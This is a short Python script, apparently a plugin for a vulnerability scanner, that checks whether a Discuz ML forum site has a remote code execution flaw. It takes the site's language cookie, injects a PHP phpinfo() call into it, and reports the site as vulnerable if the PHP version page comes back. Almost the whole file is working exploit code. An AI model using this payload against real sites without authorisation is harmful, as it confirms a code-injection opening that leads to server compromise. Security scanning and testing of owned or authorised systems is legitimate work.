# coding:utf-8
# Author:LSA
# Description:discuz ml rce(cookie-language)
# Date:20190714


import requests
# from requests.packages import urllib3

import urllib3
import re
from bs4 import BeautifulSoup

timeout = 1000
total_count = 0


def get_setcookie_language_value(tgtUrl, timeout):
    urllib3.disable_warnings()
    tgtUrl = tgtUrl
    try:
        rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
        rsp_setcookie = rsp.headers['Set-Cookie']
        # print rsp.text
        pattern = re.compile(r'(.*?)language=')
        language_pattern = pattern.findall(rsp_setcookie)
        setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
        return str(setcookie_language)

    except:
        return 'get-setcookie-language-value-error'


def dz_ml_rce_check(tgtUrl, setcookie_language_value):
    tgtUrl = tgtUrl
    check_payload = setcookie_language_value + '\'.phpinfo().\';'
    headers = {}

    headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 \
    (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36"
    headers["Cookie"] = check_payload

    check_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
    # print headers['Cookie']
    if check_rsp.status_code == 200:
        try:
            if (check_rsp.text.index('PHP Version')):
                return True

            else:
                soup = BeautifulSoup(check_rsp.text, 'lxml')
                if (soup.find('title')):
                    return False
        except:
            return False

    else:
        return False
def check(url):
    setcookie_language_value = get_setcookie_language_value(url, timeout)
    if setcookie_language_value == 'get-setcookie-language-value-error':
        return False
    return dz_ml_rce_check(url, setcookie_language_value)

def initialization():
    return "dz_ml_rce", {
        "callback": check,
        "language": "php",
        "what_cms": "discuz"
    }